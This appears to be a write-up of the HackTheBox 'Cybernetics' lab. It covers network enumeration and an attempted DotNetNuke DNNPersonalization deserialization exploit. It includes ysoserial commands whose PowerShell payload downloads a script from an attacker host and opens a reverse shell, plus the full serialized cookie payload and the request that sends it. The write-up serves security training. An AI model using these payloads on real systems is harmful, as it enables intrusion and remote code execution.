Nothing Special   »   [go: up one dir, main page]

Cybernetics

Download as pdf or txt
Download as pdf or txt
You are on page 1of 117

Cybernetics is my second Pro Lab from HackTheBox .

Previously, I finished
Offshore . Here is the introduction to the lab.

Introduction

1 Welcome to Cybernetics!
2
3 Cybernetics LLC have enlisted the services of your firm to perform a red
team assessment on their environment. Your objective is to establish a
foothold, pivot through the internal environment, and acquire domain
administrator privileges in all domains.
4
5 Cybernetics is an immersive Active Directory environment that has gone
through various pentest engagements in the past. As a result, the
environment features current operating systems, with the latest patches and
system hardening configuration applied. Can you break through?
6
7 Participants will be exposed to the following:
8
9   Web application attacks
10   Active Directory enumeration and exploitation
11   Kerberos abuse
12   Phishing
13   Privilege escalation
14   Lateral movement
15   Evading endpoint protections

According to the Discord Channel, because HackTheBox don't document anything,


my starting subnet is the same as offshore.

Initial Foothold

I have no clue what the starting point is, but I believe it is n the 10.10.110.0/24

network.

Host Discovery
To begin with, I'll try all ports against the /24 :

1 nmap -p0- -sCV 10.10.110.0/24 -oA nmap/10.10.110.0_24-tcp-65535 -v -Pn -n

Okay, well, kill that:

1 SYN Stealth Scan Timing: About 1.05% done; ETC: 18:06 (5:05:50 remaining)

Downgraded it to a Top 100 with -F and sped it up with -T4 :

1 nmap 10.10.110.0/24 -oA nmap/10.10.110.0_24-tcp-100 -vv -Pn -n -F -T4

This came back with some results:

1 Host: 10.10.110.10 ()   Ports: 80/open/tcp//http///, 443/closed/tcp//https///


  Ignored State: filtered (98)
2 Host: 10.10.110.11 ()   Ports: 80/open/tcp//http///, 443/open/tcp//https///  
  Ignored State: filtered (98)
3 Host: 10.10.110.12 ()   Ports: 80/open/tcp//http///, 443/open/tcp//https///  
  Ignored State: filtered (98)
4 Host: 10.10.110.250 () Ports: 80/open/tcp//http///     Ignored State:
filtered (99)

This essentially boils down to these four hosts:

1 10.10.110.10
2 10.10.110.11
3 10.10.110.12
4 10.10.110.250

Now, I'll kick off a bigger scan with scripts on these hosts:

1 nmap -p0- -sCV -iL hosts/10.10.110.0_www.txt -oA nmap/10.10.110.0_www -v

This returns a lot. I'll go through each host one at a time.


10.110.10.10

Below is the nmap report for this host:

1 Nmap scan report for 10.10.110.10


2 Host is up (0.023s latency).
3 Not shown: 65533 filtered ports
4 PORT     STATE SERVICE VERSION
5 80/tcp   open   http   Microsoft IIS httpd 10.0
6 |_http-favicon: Unknown favicon MD5: 2DE6897008EB657D2EC770FE5B909439
7 | http-methods:
8 |   Supported Methods: OPTIONS TRACE GET HEAD POST
9 |_ Potentially risky methods: TRACE
10 | http-robots.txt: 30 disallowed entries (15 shown)
11 | /admin/ /App_Browsers/ /App_Code/ /App_Data/
12 | /App_GlobalResources/ /bin/ /Components/ /Config/ /contest/ /controls/
13 |_/DesktopModules/ /Documentation/ /HttpModules/ /images/ /Install/
14 |_http-title: Home

nmap has found some directories within robots.txt :

1 curl -s http://10.10.110.10/robots.txt | grep llow|sort|sort -u|awk {'print


$2'}

This will find quite a few things:

1 /Activity-Feed/userId/
2 /admin/
3 /App_Browsers/
4 /App_Code/
5 /App_Data/
6 /App_GlobalResources/
7 /bin/
8 /Components/
9 /Config/
10 /contest/
11 /controls/
12 /*/ctl/
13 /*/ctl/
14 /DesktopModules/
15 /Documentation/
16 /HttpModules/
17 /images/
18 /Install/
19 /js/
20 /Portals/
21 /Providers/
22 /Resources/ContentRotator/
23 /Resources/ControlPanel/
24 /Resources/Dashboard/
25 /Resources/FeedBrowser/
26 /Resources/OpenForceAd/
27 /Resources/Search/
28 /Resources/Shared/
29 /Resources/SkinWidgets/
30 /Resources/TabStrip/
31 /Resources/Widgets/

In addition to all of these, the Server leaks the Operating System:

1 Microsoft IIS httpd 10.0

Googling IIS 10.0 :


IIS 10.0 version 1809 a.k.a. version 10.0.17763 is included in Windows
Server 2019 and Windows 10 October Update released 2018-10-02. This
version added flags for control of HTTP/2 and OCSP Stapling per site, a
compression API and implementing module supporting both gzip and brotli
schemes, and a UI for configuring HSTS .

Browsing to http://10.10.110.10/ will present:

Exploring the Directories

Using this python script:

1 #!/usr/bin/env python3
2 import requests
3
4 def get_wordlist():
5 return ["/Activity-Feed/userId/",
6 "/admin/",
7 "/App_Browsers/",
8 "/App_Code/",
9 "/App_Data/",
10 "/App_GlobalResources/",
11 "/bin/",
12 "/Components/",
13 "/Config/",
14 "/contest/",
15 "/controls/",
16 "/*/ctl/",
17 "/*/ctl/",
18 "/DesktopModules/",
19 "/Documentation/",
20 "/HttpModules/",
21 "/images/",
22 "/Install/",
23 "/js/",
24 "/Portals/",
25 "/Providers/",
26 "/Resources/ContentRotator/",
27 "/Resources/ControlPanel/",
28 "/Resources/Dashboard/",
29 "/Resources/FeedBrowser/",
30 "/Resources/OpenForceAd/",
31 "/Resources/Search/",
32 "/Resources/Shared/",
33 "/Resources/SkinWidgets/",
34 "/Resources/TabStrip/",
35 "/Resources/Widgets/"]
36
37 def request(path):
38 base_url = 'http://10.10.110.10'
39 url = base_url + path
40 try:
41 response = requests.get(url)
42 if response.status_code != 404:
43 print(f'[{response.status_code}]:\t{url}')
44 except Exception as e:
45 pass
46
47 for i in get_wordlist():
48 request(i)

Which will result in:


1 [200]: http://10.10.110.10/admin/
2 [400]: http://10.10.110.10/*/ctl/
3 [400]: http://10.10.110.10/*/ctl/
4 [403]: http://10.10.110.10/DesktopModules/
5 [403]: http://10.10.110.10/Providers/

As well as all this, I'll throw gobuster at it:

1 gobuster dir -u http://10.10.110.10/ -w


/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nothing crazy popped out at me, and some of the files that were vulnerable to
RCE , weren't there.

YSOSERIAL

After some poking around, I found this blog which discusses an RCE via
DNNPersonalization parameter. The example request looks like this:
1 Host: www.vulnerable.host
2 Upgrade-Insecure-Requests: 1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36
4 DNT: 1
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*
/*;q=0.8
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
8 Cookie: dnn_IsMobile=False;DNNPersonalization=<profile><item key="foo"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectSt
ateFormatter, System.Web, Version = 4.0.0.0, Culture = neutral,
PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd="
[http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) "
xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance]
(http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/>
<ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters>
<anyType
xsi:type="xsd:string">/wEyxBEAAQAAAP////SSBmb3Jnb3QgdG8gc2F2ZSB0aGUgcGF5bG9hZ
CB3aGVuIEkgd3JvdGUgdGhpcyBibG9nIHBvc3QgYW5kIHdhcyB0b28gYnVzeSB0byBzcGluIHVwIG
EgbmV3IHdpbmRvd3MvZG5uIHZt=</anyType></MethodParameters><ObjectInstance
xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item>
</profile>;language=en-US;
.ASPXANONYMOUS=AdJ_92Sn1AEkAAAAODU5YjVjZWMtOWMwYS00ZmE1LThkODgtNWI2OTA0NjZjZj
cz0; DotNetNukeAnonymous=b8bcc886-3286-4c26-8a9a-b6d3a73c6376;
__RequestVerificationToken=JXPAgO5sl6NtPas-
NgSv6SDSQgqLV8eAIlRa0ihpoSVyw_MSzjHXsgJhmQSV-mfU7IZOqjDfBz-
fhJ81upD024MEoJ2UKG_QjTSYW_tVkAzOad9tOaWjzfm2c1o1
9 Connection: close

And a payload is generated like this:

1 .\ysoserial.exe -p DotNetNuke -M run_command -C


 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/
nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -
Reverse -IPAddress 192.168.13.37 -Port 1337"

A new version is obtained from here: https://github.com/frohoff/ysoserial/archive/0.


0.5.zip
The flags from the blog are actually wrong, this is how it should be:

1 .\ysoserial.exe -p DotNetNuke -m run_command -c


"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object
Net.WebClient).DownloadString('http://10.10.14.9/Invoke-
PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port
1337"

This will create the payload:


1 <profile><item key="key"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectSt
ateFormatter, System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0>
<ObjectInstance p3:type="ObjectStateFormatter"
xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" />
<MethodName>Deserialize</MethodName><MethodParameters><anyType
xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string"
xmlns:p5="http://www.w3.org/2001/XMLSchema-
instance">/wEyihMAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4
wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQB
U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY
29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yj
c3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN
5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3Ry
aW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tle
VRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3
RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5
nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
a2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlc
mlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAOUM6XFdpbmRvd3NcU3lzdGVtMzJcV2
luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQYHAAAAmgFpZXggKE5ldy1PYmplY3Q
gTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMC4xMC4xNC40L0ludm9rZS1Q
b3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc
3MgMTAuMTAuMTQuNCAtUG9ydCAxMzM3BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbk
hvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcml
hbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZv
U2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphd
GlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb2
5Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUF
zc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lz
dGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3Rlb
S5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cm
U9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmc
sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9r
ZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sI
FZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1Nj
E5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWw
sIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQu
MC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOA
AAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS
5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx
5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJn
dW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5Ea
WFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAA
A+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN
0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcG
GQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzd
GVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACA
AAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJ
zaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0
ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=</anyType></MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

Before attempting execution, the blog says:


Then we visit a 404 page on our test site to generate the needed cookie.

After doing this, and not seeing the required parameter, lets see if this works, here
is the HTTP request:
1 GET / HTTP/1.1
2 Host: 10.10.110.10
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://10.10.110.10/
8 Connection: close
9 Cookie: DNNPersonalization=<profile><item key="key"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectS
tateFormatter, System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
<ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter"
xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" />
<MethodName>Deserialize</MethodName><MethodParameters><anyType
xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string"
xmlns:p5="http://www.w3.org/2001/XMLSchema-
instance">/wEyihMAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC
4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAI
QBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG
1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW
49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABg
iNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW
0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1Ym
xpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAA
CNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW
0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1Ym
xpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZW
xlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAOUM6XFdpbmRvd3NcU3
lzdGVtMzJcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQYHAAAAmgFpZXggKE
5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMC4xMC4xNC
40L0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcn
NlIC1JUEFkZHJlc3MgMTAuMTAuMTQuNCAtUG9ydCAxMzM3BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2
VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS
5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdG
lvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZX
JJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2
F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YX
JnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdG
VFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZU
VudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW
9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZT
A4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bm
V1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdG
ljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW
JsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00Lj
AuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg
0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAA
AFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW
9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdH
VyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAA
AACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS
5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3
RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbX
BhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdH
JpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cm
luZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYD
FbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dH
JhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAA
AACgs=</anyType></MethodParameters></ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item>
</profile>;dnn_IsMobile=False; language=en-US; USERNAME_CHANGED=;
__RequestVerificationToken=SL6TSVc8dEA9xUHWXHcOkltYFSlF3uigspgyNXVUoyCnTEAzU
6iI4fI0JD69tB3ozH6G0w2
10 Upgrade-Insecure-Requests: 1

No response:

1 HTTP/1.1 200 OK
2 Cache-Control: no-cache
3 Pragma: no-cache
4 Content-Type: text/html; charset=utf-8
5 Expires: -1
6 Vary: Accept-Encoding
7 Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
8 Set-Cookie: language=en-US; path=/; HttpOnly
9 Set-Cookie: .ASPXANONYMOUS=oWhiF-cTVanQVreBh3W-
1XKu_MEcLSteEX_J8FkfavNpOdczN3swNOlnwjWjFTaK02cpA_DAtLw1uRSFZaxSip0cZ3zQlivi
yG4qjwyEyMMblOPx0; expires=Sun, 21-Jun-2020 01:25:45 GMT; path=/; HttpOnly
10 X-Frame-Options: SAMEORIGIN
11 X-UA-Compatible: IE=edge
12 Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
13 Set-Cookie: language=en-US; path=/; HttpOnly
14 Set-Cookie: .ASPXANONYMOUS=oWhiF-cTVanQVreBh3W-
1XKu_MEcLSteEX_J8FkfavNpOdczN3swNOlnwjWjFTaK02cpA_DAtLw1uRSFZaxSip0cZ3zQlivi
yG4qjwyEyMMblOPx0; expires=Sun, 21-Jun-2020 01:25:45 GMT; path=/; HttpOnly
15 Set-Cookie: __RequestVerificationToken=bu-
76Sug4pTmrmXuY8ptxwBYuM7FlwI5zLxlpU2Lo2lRa6z_ljp-Qow_7PDbogDw4gvtpg2;
path=/; HttpOnly
16 Date: Sun, 12 Apr 2020 14:45:45 GMT
17 Connection: close
18 Content-Length: 23748

Moving on.

Registration

The application allows you to register an account, but it requires verification:

 
Default logins

I used the credentials in this post , and was unable to get access.

10.110.10.11

This url , responds with a default IIS landing page. But, it is worth checking for
directories:

1 gobuster dir -u 10.10.110.11 -w /usr/share/wordlists/dirbuster/directory-


list-2.3-medium.txt -o 10.10.110.11_gobuster.txt

This found nothing:

1 ===============================================================
2 Gobuster v3.0.1
3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
4 ===============================================================
5 [+] Url:           http://10.10.110.11
6 [+] Threads:       10
7 [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
8 [+] Status codes:   200,204,301,302,307,401,403
9 [+] User Agent:     gobuster/3.0.1
10 [+] Timeout:       10s
11 ===============================================================
12 2020/04/12 15:55:30 Starting gobuster
13 ===============================================================
14 ===============================================================
15 2020/04/12 16:05:07 Finished
16 ===============================================================
17

10.110.10.12

This host lands on a 404 . Using this command:

1 gobuster dir -u http://10.10.110.12 -w


/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o
10.10.110.12_gobuster.txt
I was unable to find anything:

1 ===============================================================
2 Gobuster v3.0.1
3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
4 ===============================================================
5 [+] Url:           http://10.10.110.12
6 [+] Threads:       10
7 [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
8 [+] Status codes:   200,204,301,302,307,401,403
9 [+] User Agent:     gobuster/3.0.1
10 [+] Timeout:       10s
11 ===============================================================
12 2020/04/12 16:18:57 Starting gobuster
13 ===============================================================
14 ===============================================================
15 2020/04/12 16:36:34 Finished
16 ===============================================================

I believe that 10.110.10.250 is the PFSense box, thus, out of scope. So the entry
point has to be 10.10.110.10 .

Revisiting 10.110.10.10

Running through nikto :

1 - Nikto v2.1.6
2 ---------------------------------------------------------------------------
3 + Target IP:         10.10.110.10
4 + Target Hostname:   10.10.110.10
5 + Target Port:       80
6 + Start Time:         2020-04-12 16:43:22 (GMT1)
7 ---------------------------------------------------------------------------
8 + Server: No banner retrieved
9 + The X-XSS-Protection header is not defined. This header can hint to the
user agent to protect against some forms of XSS
10 + The X-Content-Type-Options header is not set. This could allow the user
agent to render the content of the site in a different fashion to the MIME
type
11 + Server banner has changed from '' to 'Microsoft-IIS/10.0' which may
suggest a WAF, load balancer or proxy is in place
12 + Uncommon header 'x-result-reason' found, with contents: Not Redirected
13 + Uncommon header 'x-urlrewriter-404' found, with contents: 404 Rewritten to
DNN Tab : 404 Error Page(Tabid:24) : Reason Requested_404
14 + No CGI Directories found (use '-C all' to force check all possible dirs)
15 + Uncommon header 'x-redirect-reason' found, with contents: Unfriendly Url 2
Requested
16 + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (301)
17 + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (301)
18 + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (301)
19 + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (301)
20 + Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (301)
21 + "robots.txt" contains 133 entries which should be manually viewed.
22 + Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
23 + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
24 + OSVDB-3092: /login/: This might be interesting...
25 + OSVDB-3092: /register/: This might be interesting...
26 + /Portals/_default/Cache/ReadMe.txt: DotNetNuke default page found. Look
for an admin interface on /tabid/19/, /tabid/36/ or enumerate numbers to
identify logins/content.
27 + 7997 requests: 0 error(s) and 16 item(s) reported on remote host
28 + End Time:           2020-04-12 16:47:40 (GMT1) (258 seconds)
29 ---------------------------------------------------------------------------
30 + 1 host(s) tested

